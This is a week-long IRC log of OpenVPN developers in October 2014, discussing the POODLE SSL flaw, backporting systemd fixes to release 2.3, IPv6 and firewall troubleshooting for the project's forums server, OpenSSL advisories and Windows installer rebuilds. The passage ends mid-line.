[~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:46 <+krzee> https://www.tinfoilsecurity.com/poodle 03:46 <@vpnHelper> Title: Free POODLE SSL Security Vulnerability Check | Tinfoil Security (at www.tinfoilsecurity.com) 03:46 <+krzee> in case you guys wanna check sites you run 03:47 <+krzee> community.openvpn.net is one that supports ssl3 btw 03:47 <+krzee> openvpn.net itself is good tho 03:55 <@syzzer> plaisthos: (re SCSV fallback) exactly. imho the message should be 'disable SSLv3 now!', not 'you can leverage a bit using this hack'. Then again, I'm not concerned with keeping my browser working ;) 06:45 <@plaisthos> hm 06:45 <@plaisthos> I still need to book my train/flight to munich ... 07:27 <@cron2> mattock: can you send a meeting announcement for tomorrow? 07:39 <@cron2> https://www.openssl.org/~bodo/ssl-poodle.pdf 07:39 <@cron2> btw 08:11 <@syzzer> the best in-depth (but still pretty readable) article I've seen is this: https://www.imperialviolet.org/2014/10/14/poodle.html 08:35 <@plaisthos> :) 08:35 <@plaisthos> "Remember, everything less than TLS 1.2 with an AEAD mode is cryptographically broken." 08:36 <@plaisthos> is there any source on that? 08:39 -!- mattock_afk is now known as mattock 08:44 <@ecrist> fwiw, I fixed the websites (forums/community) wrt CVE-2014-4566 08:44 <@ecrist> 3566* 08:58 <@syzzer> plaisthos: the major thing there is that TLS does mac-then-encrypt, which is nowadays considered wrong (because of the number of attacks this has made possible, and expected number of attacks yet to come) 08:59 <@syzzer> it works for AEAD ciphers, since they do both at once, resulting in a construction similar to encrypt-then-mac 09:17 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 09:34 <@plaisthos> syzzer: ah, and there no encrypt-then-mac ciphers? 09:34 <@plaisthos> or do they have other problems 09:41 <@syzzer> plaisthos: no, 'for historical reasons' TLS does mac-(then-pad)-then-encrypt 09:42 <@syzzer> actually, this poodle-thing would also have been impossible if encrypt-then-mac was used 10:19 <@cron2> would encrypt-then-mac be possible in TLS1.0...1.2 by defining new ciphers, or is that so ingrained that it would need 1.3? 10:31 <@syzzer> I think the wise people decided to just go for AEAD 10:31 <@syzzer> changing it would be a quite intrusive change 10:32 <@syzzer> especially for not-so-well designed crypto libraries... ;) 10:47 -!- novaflash is now known as novaflash_away 11:03 <@plaisthos> 2omg ... 11:03 <@plaisthos> https://plus.google.com/u/0/108258579910969644852/posts/G516PvAyxer?cfem=1 11:07 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-kturvdpfhdwoyoyn] has joined #openvpn-devel 11:26 -!- novaflash_away is now known as novaflash 11:58 <@dazo> “Becoming a maintainer is easy; you just need an infinite amount of time and respond to email from random people.” (Linux Torvalds @ LinuxCon Europe 2014) 12:01 <@cron2> haha 12:01 <@cron2> he's so right 12:01 <@dazo> :) 12:01 * cron2 has been there a few times 12:01 <@cron2> dazo: maintainer-hat on ;-) - the patch you've merged - as that's a bugfix, if the code in question is in 2.3.4 as well (and I think it is), we should apply it there as well 12:02 <@dazo> agreed! 12:02 <@cron2> I have not checked whether the code is there (yet, sorry, no time) but I seem to remember that the temp file handling was changed before 2.3 12:02 <@dazo> I just didn't think about 2.3.x at all 12:02 <@dazo> I believe we need it in 2.3 12:03 <@dazo> it cherry-picks cleanly, so the needed code is in place 12:03 <@cron2> this is what you have me for - remind you about 2.3 :)) 12:03 <@dazo> hehe 12:04 <@dazo> I know you're not happy about systemd, but I think we need some of the earlier fixes there as well 12:04 <@cron2> is the systemd integration in 2.3? I thought it's new in master only? lemme check 12:04 <@dazo> (I'd love to have a new discussion about our systemd implementation as well, but not today, need to go in 10 min +) 12:04 <@dazo> it's in 2.3 ... both Debian and Fedora compiles 2.3 with --enable-systemd 12:05 <@dazo> (I've had a private discussion with the Debian maintainer as well, as Jessie is reaching a freezing point) 12:05 <@cron2> indeed 12:06 <@cron2> boy is that patch old... Oct 2011... 12:06 <@cron2> so indeed, anything that is bugfixing / fine-tuning this in master should go to 2.3 as well 12:06 <@cron2> regardless of the larger discussion "where do we want to go in master" 12:07 <@dazo> yeah ... I can cherry-pick the most important ones 12:07 <@cron2> (for which I do not have time today either, day didn't go exactly as planned and I lost 4h work time...) 12:08 <@dazo> or rather ... I'll make a list I'd recommend cherry-picking, and send it to the ML ... and then we'll execute that after an ACK ... or too bureaucratic? 12:09 <@cron2> I think the list isn't long (3?), so maybe that's too bureaucratic - but you should send a commit notice ("these patches <list> are considered bug-fixes and have thus been cherry-picked to 2.3") 12:11 <@dazo> Sure, I'll do that tomorrow .... it might be a few more than 3, but not that many 12:12 <@dazo> (I gave the Debian maintainer an overview of something similar, so much is already done) 12:13 <@cron2> if you include the unit file addition, 4 in master :) 12:15 <@cron2> ... and I think at least two could be merged, as they change the "is systemd there?" logic twice... 12:15 <@dazo> you think of 55480682b9bfa58 + f33ee6bcb12fdc3 ? 12:17 <@dazo> regarding the update suggested to the unit file ... (trac #462) ... I'm considering to slip that one in without review ... any objection to that? (change will only be in that file) 12:18 <@cron2> yes. I'm not exactly sure what I'd so - to achieve "less patching of the same bits", one commit would be good, to achieve maximum transparency (look, this is really the same change as in master), two is better 12:18 <@cron2> unit file: I'd say "send the patch to the list, and commit it as acked-by: cron2" (ACK!), and I'll confirm it on the list 12:18 <@cron2> we have our process, and it needs to be on the list :) 12:19 <@dazo> oki 12:19 <@cron2> (but that can be sped up for trivial things) 12:19 <@cron2> so... kids to bed... need to be reading to them now 12:19 <@dazo> I agree being more strict on changes in src/ and include/ ... but on distro/ ... well, I'll do it via ML with your implicit ACK 12:20 * dazo need to go now 12:21 -!- dazo is now known as dazo_afk --- Log closed Wed Oct 15 13:58:24 2014 --- Log opened Wed Oct 15 14:46:03 2014 14:46 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:46 -!- Irssi: #openvpn-devel: Total of 22 nicks [9 ops, 0 halfops, 3 voices, 10 normal] 14:46 -!- Irssi: Join to #openvpn-devel was synced in 3 secs 14:46 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 15:24 -!- mattock is now known as mattock_afk 17:04 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 18:01 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 18:07 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 245 seconds] 22:06 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] --- Day changed Thu Oct 16 2014 01:57 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:32 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:08 -!- dazo_afk is now known as dazo 05:31 -!- mattock_afk is now known as mattock 05:31 <@plaisthos> !git 05:31 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 05:31 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 05:31 <@plaisthos> great !git in here and #openvpn are different 05:32 <@plaisthos> and I don't know which one is the right one ... 05:32 -!- mattock is now known as mattock_afk 05:34 <@syzzer> not just multiple urls for the same repos/ 05:36 <@plaisthos> no 05:36 <@plaisthos> git.code.sf.net does not work for me 05:36 <@plaisthos> openvpn.git.sourceforge.net/ however does 05:40 -!- mattock_afk is now known as mattock 06:15 <@dazo> plaisthos: I think git.code.sf.net is used for pushing 06:16 <@dazo> and anonymous pull: git://git.code.sf.net/p/openvpn/openvpn-testing 06:18 <@dazo> (or git://git.code.sf.net/p/openvpn/openvpn ) 06:18 <@dazo> btw, I've just tested those two URLs 06:19 <@cron2> stable git://git.code.sf.net/p/openvpn/openvpn (fetch) 06:19 <@cron2> testing ssh://cron2@git.code.sf.net/p/openvpn/openvpn-testing (push) 06:19 <@cron2> urgh, not that one 06:19 <@cron2> testing git://git.code.sf.net/p/openvpn/openvpn-testing (fetch) 06:20 <@cron2> these are the two sf I have in "git remote -v" for fetching (plus one for push, obviously) and they work 06:20 * dazo fixes !git on #openvpn 06:22 <@dazo> done! 06:40 <@plaisthos> dazo: thanks 06:41 <@plaisthos> cron2: thanks 06:41 <@cron2> always happy to demonstrate my tremendous copy-paste inability :) 06:54 <@cron2> so, who is responsible for "forums"? ecrist, is that you? 06:54 * cron2 noticed that my monitoring is complaining since 10/10 that forums is no longer pinging on IPv4 (but IPv6 works) 07:12 <@ecrist> cron2: yes 07:14 <@ecrist> we migrated to a VM 07:14 <@ecrist> are you pinging by IP? 07:15 <@ecrist> or hostname? 07:26 <@cron2> by hostname 07:26 <@cron2> PING forums.openvpn.net (54.183.131.80): 56 data bytes 07:43 <@ecrist> might be a firewall thing 07:43 <@ecrist> mattock ping 09:25 <@mattock> hi guys 09:25 <@mattock> ok, so pings not going through 09:28 <@mattock> now they do 09:29 <@mattock> are we going to have a meeting today? I could send an invitation 09:41 <@cron2> mattocK: thanks (ping) 09:42 <@cron2> meeting was sort of planned, but we're a bit late now... I'm here, but we have no well-defined agenda 09:45 <@mattock> cron2: ok, np 10:23 <@dazo> cron2: Regarding the systemd patches into 2.3 ... here's the merged patch you suggested .... the diff itself is clean enough, but the commit message looks slightly odd 10:23 <@dazo> http://fpaste.org/142479/47293314/ 10:25 <@dazo> a more cleaned up commit msg ... http://fpaste.org/142480/34731151/ .... looks good to you? 10:46 <@cron2> ack 10:54 -!- roentgen_ [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:02 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:02 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:05 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:15 <@dazo> Regarding the trac ticket #462 ... it's both right and wrong. Depending on if it's a server or client config it will start 11:17 <@dazo> Waiting for a network to be prepared (network.target) is enough when starting up a server config. But is not suitable for a client config, as then it is a client wanting to connect to a remote site. So client configs should use network-online.target 11:17 * dazo updates the trac ticket 11:37 * plaisthos has no idea what dazo talking about without looking at the ticket 11:37 <@dazo> sorry, plaisthos :) systemd stuff ... got a suggestion for improving the unit file we're providing now 11:39 <@syzzer> so, meeting tonight at 1800 CEST ? 11:40 <@dazo> (network.target is close to the normal init.d scripts we have today, openvpn starts after network has been configured somehow. network-online.target delays starting any services until the box is really online, determined by a network manager. Which means openvpn can be delayed until any paywalls have granted you access to the Internet) 11:40 * dazo need to go now, so can't join :( 11:45 -!- dazo is now known as dazo_afk 11:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:51 <@cron2> syzzer: that was the plan, but I'm not exactly sure... maybe postpone to next week and send proper announces so people can prepare (and agree on topics) 11:59 <@mattock> perhaps we could figure out most of the topics today? 12:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 12:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:59 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:07 <@syzzer> ok then. The thing that triggered is was the session id patch from Lev 14:22 <@cron2> oh, that one. yes. Mattock: can you please organize a proper meeting for next thursday, with agenda and announcement and such? main topic: session id patch 14:22 <@cron2> and munich 15:22 <@mattock> ok 15:24 <@mattock> actually, next Thursday I might not be able to attend the meeting 100% myself 15:24 <@mattock> but I think that's ok 15:25 -!- mattock is now known as mattock_afk 17:43 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel --- Day changed Fri Oct 17 2014 01:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:30 -!- mattock_afk is now known as mattock 02:38 <@d12fk> fefe uses polarssl now =) http://blog.fefe.de/?ts=aabeca5a 02:38 <@vpnHelper> Title: Fefes Blog (at blog.fefe.de) 03:42 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2014-10-23 03:42 <@vpnHelper> Title: Topics-2014-10-23 – OpenVPN Community (at community.openvpn.net) 03:42 <@cron2> d12fk: so, are you coming to Munich? nothing in the wiki yet... 03:52 <@d12fk> cron2: yes planning to come, just too busy for anything currently 03:56 -!- dazo_afk is now known as dazo 04:10 <@cron2> well, if you're there, I think we can merge the new service right away (and I'll do my best to make master work on windows again until then) 04:15 * plaisthos has the todo make master work on windows too 04:15 <@plaisthos> I think I broke it 04:16 <@cron2> plaisthos: you did :-) but I'm happy to give it a go 04:25 <@d12fk> excellent 04:41 <@syzzer> cron2, d12fk: what's the status of the interactive service? I remember volunteering to do some code review work for that. How final is it? Does is make sense for me to take a look at it before the meeting? (Or will you guys take care of it? I would not object to that either ;) ) 04:47 <@d12fk> i can provide you the source code as is 04:48 <@d12fk> i think it might not compile atm because i got stuck shortly after our last years meeting but it's good for review i think 04:57 <@syzzer> ok, sounds good. then i'll try and take a look at it before the meeting to get a bit of a head start 05:10 <@cron2> +1 05:16 <@vpnHelper> RSS Update - tickets: #464: I'm new to this and I have a problem. <https://community.openvpn.net/openvpn/ticket/464> 05:19 <@plaisthos> I am not new to this and closing this ticket 05:21 <@dazo> heh 05:23 <@dazo> plaisthos: you could be mean ... treat it as a bug, get log files, "try" to reproduce the issue and close it as NOTABUG->WORKSFORME 05:26 <@plaisthos> dazo: it specifies openVPN access server 05:26 <@plaisthos> so I pointed to the AS support page 07:29 <@dazo> :) 07:45 <@ecrist> is the correct way to default-route IPv6 to do the push "route-ipv6 0::0/0 <gateway>" ? 07:45 <@cron2> no <gateway> needed 07:45 <@cron2> otherwise, yes 07:46 <@ecrist> thanks. 07:47 <@cron2> syzzer: the current round of openssl vulnerabilities (there was more than poodle) - is any of this relevant for us? $user wants to know whether mattock is going to rebuild windows installers... 07:52 <@ecrist> cron2: why 0::0/0 instead of just ::/0? 08:00 <@cron2> ecrist: no difference, put in there whatever you feel comfortable with :-) - you could use 0000:0:0::/0 as well :) - I just feed it to getaddrinfo() for parsing anyway 08:05 <@ecrist> is there a def1 type options for v6? 08:11 <@cron2> not yet 08:11 <@cron2> there isn't a "redirect-gateway ipv6" option in 2.3 either (the Connect client can do it) 08:11 <@cron2> (and it's not easy because the "where should I put the route to the openvpn server to?" infrastructure is not there yet for IPv6 either) 08:25 <@ecrist> thanks 08:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 13:16 -!- dazo is now known as dazo_afk 15:59 -!- mattock is now known as mattock_afk --- Day changed Sat Oct 18 2014 02:51 -!- mattock_afk is now known as mattock 10:16 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 10:20 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 13:08 <@syzzer> just remembered another subject for the next meeting: I'd like to add an option (yes, I know...) --tls-version-max, similar to --tls-version-min, to ease the transition to TLS 1.2. For example, I came across a setup that works just fine with TLSv1.1, but breaks on TLSv1.2, because of the larger signatures of TLSv1.2. In this case, it was code outside of OpenVPN that broke, so there's not really a way to fix this for us, other then 13:08 <@syzzer> TLS versions. 14:28 <@cron2> ack 15:00 <@syzzer> cron2: ack for the option, or the subject for the meeting? 15:04 <@syzzer> oh, and I looked at the cryptoapicert + TLSv1.2 stuff a bit more, but I'm afraid that'll require a complete rewrite of the cryptoapicert code :( 15:05 <@syzzer> the current code uses the old ms crypto api, which does not seem to be capable of what we want it to do 15:54 <@cron2> ack for the subject :-) - in principle I'm fine with the option as well, but I do not feel comfortable argueing either way (I see your point, I see james' point about "it will stay in client configs forever") 15:56 -!- mattock is now known as mattock_afk 16:14 <@syzzer> ok :) 16:36 <@plaisthos> syzzer: question if the rewrite should be in the UI or in openvpn 16:55 <@plaisthos> and OpenVPN for ANdroid might or might not work on Android 5.0 16:55 <@plaisthos> I got reports saying both things 18:57 <@ecrist> can openvpn use IPv6 for transit? 19:02 <@plaisthos> yes 19:03 <@ecrist> on freebsd, I can't seem to get openvpn to listen on IPv6 19:03 <@ecrist> without any local lines, it binds to udp4:* 19:04 <@ecrist> and it won't recognize an IPv6 IP after --local with or without square brackets 19:05 <@plaisthos> proto udp6 19:06 <@plaisthos> or proto tcp6 19:06 <@ecrist> can I dual-stack? 19:06 <@ecrist> or separate instances? 19:06 <@plaisthos> no real dual stack 19:06 <@plaisthos> but you can enable ipv4 mapped addresses 19:06 <@plaisthos> that way listening on v6 gives you v4+v6 19:07 <@ecrist> ah 19:08 <@ecrist> that works, thanks. --- Day changed Sun Oct 19 2014 02:31 -!- mattock_afk is now known as mattock 03:42 <@syzzer> plaisthos: good question. For clients, the UI would make sense. For servers, you'd need some other component. 04:31 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 04:36 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 04:36 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 06:32 -!- novaflash is now known as novaflash_away 08:10 -!- mattock is now known as mattock_afk 10:17 <@plaisthos> 2014-10-19 17:56:57 NOTE: unable to redirect default gateway -- Cannot read current default gateway from system 10:17 <@plaisthos> yeah for kitkat 10:17 <@plaisthos> err lollipop 10:44 <+krzee> ecrist, i added udp6 to the !ipv6 wiki page awhile back, maybe you could update it with whatever was meant by <plaisthos> but you can enable ipv4 mapped addresses i think many users would want it 12:37 -!- Netsplit *.net <-> *.split quits: +roentgen, shivanshu 12:37 -!- shivanshu_ [~shivanshu@104.131.8.15] has joined #openvpn-devel 12:38 -!- Netsplit over, joins: roentgen 12:38 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:38 -!- shivanshu_ is now known as shivanshu 13:06 <@plaisthos> krzee: I made a commit that enabled ipv4 mapped per default (as oppposed to depends on the OS) 13:32 -!- shivanshu [~shivanshu@104.131.8.15] has quit [Changing host] 13:32 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 13:56 -!- mattock_afk is now known as mattock 15:12 <@cron2> read: in 2.3 it works if you bind to "udp6" *and* do sysctl net.inet6.ip6.v6only=0 - in 2.4, OpenVPN will do that itself 15:17 -!- mattock is now known as mattock_afk --- Day changed Mon Oct 20 2014 01:42 -!- mattock_afk is now known as mattock 02:06 <@plaisthos> unless you have OpenBSD 02:06 <@plaisthos> whose maintainers do not believe in ipv4 mapped adresses for security reasons 02:43 <@cron2> after talking to the linux networking person responsible for getting them right in the kernel, I can see good reasons why ipv4 mapped was a stupid idea 02:43 <@cron2> ... but the OpenBSD people's arguments are not convincing at all :-) 02:46 <@plaisthos> cron2: yeah 02:46 <@plaisthos> cron2: probably a lot of headaches from the whole crossing between v4 and v6 03:32 -!- dazo_afk is now known as dazo 03:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:42 * cron2 reminds dazo to cherrypick the "do not leak filehandles" patch to 2.3 :) 03:42 <@dazo> didn't I do that!? 03:42 <@cron2> only systemd, as far as I could see 03:42 * cron2 rechecks 03:43 <@dazo> gah 03:43 <@cron2> nah, only systemd 03:43 * cron2 sends over a large cup of coffee with some brandy in, for the monday morning 03:44 <@dazo> heh ... sounds so strong it would knock me over ;-) 03:44 * dazo pushed out a new release/2.3 03:45 <@cron2> thanks 03:45 <@cron2> 027dd7f..10cbaea release/2.3 -> stable/release/2.3 04:55 <@cron2> what time is 18:00 UTC in local units? 04:55 <@cron2> ah, +2, this is good (won't make +1 on thursday) 07:37 <@ecrist> ping mattock 07:37 <@mattock> ecrist: hi 07:39 <@ecrist> hi, I'm configuring IPv6 on the new forums box, rebooting now to test changes 07:42 <@mattock> ok 07:42 <@mattock> I'm not using it atm, so np 07:43 <@ecrist> it's got config, but maybe a firewall issue on your end? 07:43 <@ecrist> oh, I"m guessing the other end of the gif tunnel needs to be configured for the new IP 08:09 <@cron2> brrr, tunnels 08:12 <@dazo> dark and moist 08:23 <@ecrist> heh 10:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 10:10 <@cron2> so, could you please fix IPv6, whoever broke it? 10:10 <@cron2> this is highly non-useful to have IPv6 addresses in DNS but not have anything answering on it... 10:10 <@cron2> $ telnet forums.openvpn.net 80 10:10 <@cron2> Trying 2001:470:1f04:465::2... 10:10 <@cron2> <timeout> 10:25 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has joined #openvpn-devel 10:43 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 250 seconds] 11:07 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:38 <@ecrist> mattock: you control the IPv6 tunnel, I don't know what our remote endpoint is supposed to be 11:38 <@ecrist> you just need to update /etc/rc.conf 11:42 -!- dazo is now known as dazo_afk 12:11 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 12:52 <@mattock> ecrist, cron2: ah, now I recall 12:52 <@mattock> I'll take care of it 13:10 <@ecrist> thanks 13:50 -!- mattock is now known as mattock_afk 14:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Oct 21 2014 01:40 -!- mattock_afk is now known as mattock 01:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 01:58 <@mattock> syzzer: can you quickly review this: https://community.openvpn.net/openvpn/wiki/VulnerabilitiesFixedInOpenSSL1.0.1j 01:58 <@vpnHelper> Title: VulnerabilitiesFixedInOpenSSL1.0.1j – OpenVPN Community (at community.openvpn.net) 01:58 <@mattock> basically copy-and-paste from you email and openssl security advisory but still 02:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 02:10 <@mattock> added "OpenVPN 2.3.5 release" to this Thursday's topic: https://community.openvpn.net/openvpn/wiki/Topics-2014-10-23 02:10 <@vpnHelper> Title: Topics-2014-10-23 – OpenVPN Community (at community.openvpn.net) 02:18 <@syzzer> mattock: looks good to me. It's just that tls-auth doesn't help against malicious clients with valid tls-auth keys (i.e. disgruntled employees/customers) 02:19 <@mattock> ah yes, good point 02:19 <@mattock> I'll mention that 02:19 <@syzzer> that's why I always use the words 'extra layer of protection' instead of 'prevents' :) 02:19 <@mattock> that's actually quite valid concern for VPN service providers 02:19 <@mattock> yeah, exactly :) 02:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:25 <@mattock> updated 06:33 -!- dazo_afk is now known as dazo 06:37 -!- Netsplit *.net <-> *.split quits: @mattock 06:37 -!- Netsplit over, joins: mattock 06:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:48 <@vpnHelper> RSS Update - tickets: #465: Windows 64 installer (vista+) overwrite SYSTEM PATH instead of appending <https://community.openvpn.net/openvpn/ticket/465> 07:58 <@cron2> I'm fairly sure we fixed that... 09:27 <@ecrist> yeah, I thought so 12:03 <@mattock> urgh 12:03 <@mattock> I'll double-check that the new build VM is using patched NSIS 12:09 <@mattock> nope, it's not 12:09 <@mattock> I'll rebuild the installers 12:10 <@mattock> that _should_ fix the issue because NSIS needs to be patched to support long PATHs 12:54 <@mattock> ecrist/cron2: can you check if IPv6 on forums works now? 12:55 <@mattock> actually, I probably have one VM with native IPv6 connectivity 13:19 <@dazo> mattock: IPv6 on forums.o.n not working for me 13:19 <@dazo> (ipv4 does work though) 13:19 <@mattock> yeah, not for me either 13:20 <@mattock> I wonder if I need to restart the tunnel interface or something 13:20 <@mattock> updated the IPv4 address on tunnelbroker to point to the new IP 13:21 <@dazo> I guess this is a fbsd box, so I don't have any good clues 13:25 <+krzee> mattock, i think thats the one where ecrist said you needed to update rc.conf 13:25 <+krzee> (i could be wrong) 13:25 <@mattock> rc.conf looked good 13:25 <@mattock> all the IPv6 tunnel stuff was there already 13:25 <@mattock> afaics 13:25 <@mattock> and the git0 interface was up and pointing to the other end of the tunnel 13:25 <@mattock> at tunnelbroker 13:27 <@ecrist> mattock: I think tunnelbroker is setup wrong, or pointed to the wrong IP. 13:27 <@ecrist> maybe wrong v6 range? 13:28 <@mattock> I only change the IPv4 address of forums.openvpn.net from the tunnelbroker end 13:28 <@mattock> (never done this before, not sure what else needs to be done) 13:32 <@ecrist> can the box ping out on v6? 13:33 <@mattock> I'll check 13:35 <@mattock> ping6 community.openvpn.net fails 13:42 <@cron2> mattock: you still around? 13:42 <@mattock> yeah, pushing out updated windows installers 13:43 <@cron2> to figure out what is not working: can you /query me the output of "ifconfig gif0" and "netstat -in" please? 13:44 <@cron2> could be a few things - IPv6 being confused, like "no default route" (= no packets going out), tunnelbroker being confused ("no packts coming in") or a firewall rule killing the IPv4 side of the gif packts 13:45 <@mattock> I'll check the EC2 security groups 13:45 <@mattock> in case something extra had been added to the old forums 13:45 <@mattock> first I'll update the links to the installers 13:45 <@mattock> the installers _should_ fix the PATH problem 13:48 <@cron2> yeah, that's quite important :) 13:54 <@mattock> we did 13:55 <@mattock> oops, responded to backlog :P 13:55 <@mattock> I need to double-check that the nsis version I rebuilt actually has the patch for the longer PATH 13:56 <@mattock> had to rebuild the nsis packages because the original patched ones had been lost 14:00 <@mattock> uh, can't find any trac ticket relating to the earlier problem 14:06 <@mattock> no trace of the previous issue 14:07 <@mattock> the good thing is that my new nsis packages should fix the issue 14:07 <@mattock> the source "package" has all the changes that are necessary to fix it 14:11 <@mattock> updated the download page 14:16 <@cron2> cool :) can we go and fix IPv6 now? 14:46 <@mattock> I'll check the firewall thing 14:46 <@mattock> then I have to hit the sack and continue tomorrow 14:54 <@mattock> inbound ICMP is allowed at least 14:56 <@mattock> I'll take a stab at restarting the tunnel interface 15:00 <@mattock> no luck 15:00 <@mattock> tomorrow then 15:18 -!- dazo is now known as dazo_afk 15:22 -!- mattock is now known as mattock_afk 16:36 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 245 seconds] 16:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 19:20 -!- Netsplit *.net <-> *.split quits: +krzee, n13l, siruf, @pekster, @d12fk, +roentgen, Eagle_Erwin, @dazo_afk, shivanshu, @plaisthos, (+8 more, use /NETSPLIT to show all of them) 19:26 -!- Netsplit over, joins: +krzee, @pekster, @mattock_afk, Eagle_Erwin, +roentgen, shivanshu, @plaisthos, @syzzer, awestin1, @andj (+6 more) 19:26 -!- Netsplit over, joins: siruf, Hes 19:59 <@vpnHelper> RSS Update - tickets: #466: OpenVPN Connect client does not use SCEP provisioned user identity certificate from keychain <https://community.openvpn.net/openvpn/ticket/466> --- Day changed Wed Oct 22 2014 01:18 -!- mattock_afk is now known as mattock 02:18 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:37 <@syzzer> wow, that is some seriously mangled whitespace in the tap-windows patches :') 02:37 * cron2 didn't try to apply them yet :) - cursory glance finds them fairly trivial ("just one extra error case is added, refactoring the surrounding code slightly") 02:41 <@syzzer> yes, code changes look good at first sight - but I don't claim to understand what is really going on there 02:42 <@mattock> syzzer, cron2: yep, Thomas is Windows guy so we could expect that :P 02:42 <@cron2> neither do I, but this is in "if the driver author says this error code must be handled, we'll do, and there is no way this can be exploited except for DoS by the driver, so I don't truly care what it does" land 02:43 <@cron2> I'll merge tonight 02:43 <@syzzer> cron2: ack. if the patches work, I'm perfectly fine with them :) 02:43 <@cron2> syzzer: mattock sayz so :) 02:45 <@syzzer> I'll try to spam you with more patches tonight - I got fed up with our sample config/keys and modernized them last night, but I stuck to my 'no git send-email after 23:00' rule to prevent v2's ;) 02:50 <@mattock> syzzer: that's a good rule :) 02:51 <@mattock> actually, the patches have been tested by a real person: https://community.openvpn.net/openvpn/ticket/430 02:51 <@vpnHelper> Title: #430 (tap-windows6: creating new TAP interface while an existing is connected causes error loop) – OpenVPN Community (at community.openvpn.net) 02:57 <@cron2> mattock: there are real persons around? 02:58 <@mattock> for that we'll have to wait until Munich :) 02:58 <@mattock> for all I know you could be bots 03:00 <@cron2> mattock: Munich could have been actors :-) 03:00 <@mattock> yeah, that's also true 03:00 * cron2 is a simple bot, though 03:00 <@mattock> bots co-operating with actors 03:01 <@cron2> "IPv6 is not working!" <repeat> 03:01 <@mattock> yes, I know 03:01 <@mattock> I'm looking into it 03:10 <@mattock> works now 03:10 <@mattock> cron2: can you verify? 03:16 <@mattock> if it works for you, I'll reboot the node to ensure the default IPv6 route comes up as it's supposed 03:29 <@syzzer> PING 